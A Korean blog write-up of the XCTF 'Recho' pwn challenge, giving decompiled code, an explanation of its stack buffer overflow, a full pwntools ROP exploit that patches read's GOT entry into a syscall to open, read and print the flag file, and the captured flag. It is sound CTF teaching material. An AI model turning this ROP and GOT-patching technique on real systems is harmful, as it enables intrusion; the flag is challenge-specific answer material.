ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Recho
    CTF/XCTF 2021. 2. 11. 04:21

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        int64_t iVar1;
        char *str; // rbp-0x40
        char *buf; // rbp-0x30
        undefined8 size;
        
        Init();
        write(1, "Welcome to Recho server!\n", 0x19);
        while( true ) {
            iVar1 = read(0, str, 0x10);
            if (iVar1 < 1) break;
            size = atoi(str);
            if (size < 0x10) {
                size = 0x10;
            }
            len = read(0, buf, size);
            buf[len] = 0;
            printf("%s", buf);
        }
        return 0;
    }
    

    read를 통해 buf에 입력받을 때 스택 버퍼 오버플로우가 발생한다.

    Syscall


    while문을 종료시키려면 입력 스트림이 닫혀야 하므로 단 하나의 payload로 공격을 마쳐야 한다. 따라서 라이브러리 주소를 알아내서 추가적인 공격을 이어나가는 방식은 사용할 수 없다.

     

    바이너리에 주어진 가젯으로 rax, rdi, rsi, rdx를 모두 제어할 수 있고 flag 문자열이 이미 존재하므로 syscall을 확보하면 open("flag","r'), read(3, buf, 0x30), write(1, buf, 0x30)을 차례로 호출해 flag를 읽어올 수 있다.

     

    read 함수에는 syscall이 존재하므로 read의 got를 0xe만큼 증가시키면 syscall을 사용할 수 있다. got를 변경하기 위해 add BYTE PTR [rdi], al라는 가젯을 찾아 사용하였다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./recho"
    lib = "../../lib/libc6_2.23-0ubuntu11_amd64.so"
    server = "111.200.241.244"
    port = 37977
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu')
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    read_plt = e.plt["read"]
    read_got = e.got["read"]
    flag = next(e.search(b"flag\x00"))
    bss = e.bss()+0x800
    
    add = 0x40070d # add BYTE PTR [rdi], al
    prax = r.find_gadget(['pop rax', 'ret'])[0]
    prdi = r.find_gadget(['pop rdi', 'ret'])[0]
    prsi = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
    prdx = r.find_gadget(['pop rdx', 'ret'])[0]
    
    payload = b"\x90"*0x38
    payload += p64(prdi) + p64(read_got)
    payload += p64(prax) + p64(0xe)
    payload += p64(add)
    
    payload += p64(prax) + p64(2)
    payload += p64(prdi) + p64(flag)
    payload += p64(prsi) + p64(0) + p64(0)
    payload += p64(read_plt)
    
    payload += p64(prax) + p64(0)
    payload += p64(prdi) + p64(3)
    payload += p64(prsi) + p64(bss) + p64(0)
    payload += p64(prdx) + p64(0x30)
    payload += p64(read_plt)
    
    payload += p64(prax) + p64(1)
    payload += p64(prdi) + p64(1)
    payload += p64(prsi) + p64(bss) + p64(0)
    payload += p64(prdx) + p64(0x30)
    payload += p64(read_plt)
    
    p.recvline()
    p.sendline(str(len(payload)))
    p.send(payload)
    
    p.shutdown()
    
    p.recv(0x2a)
    log.info("flag : " + p.recvall().decode())
    

    Flag

    cyberpeace{479619f76e82727f3f2b0db9a692e913}

    'CTF > XCTF' 카테고리의 다른 글

    greeting  (0) 2021.02.11
    pwn-100  (0) 2021.02.11
    welpwn  (0) 2021.02.11
    Mary_Morton  (0) 2021.02.11
    int_overflow  (0) 2021.01.21

    댓글

Designed by Tistory.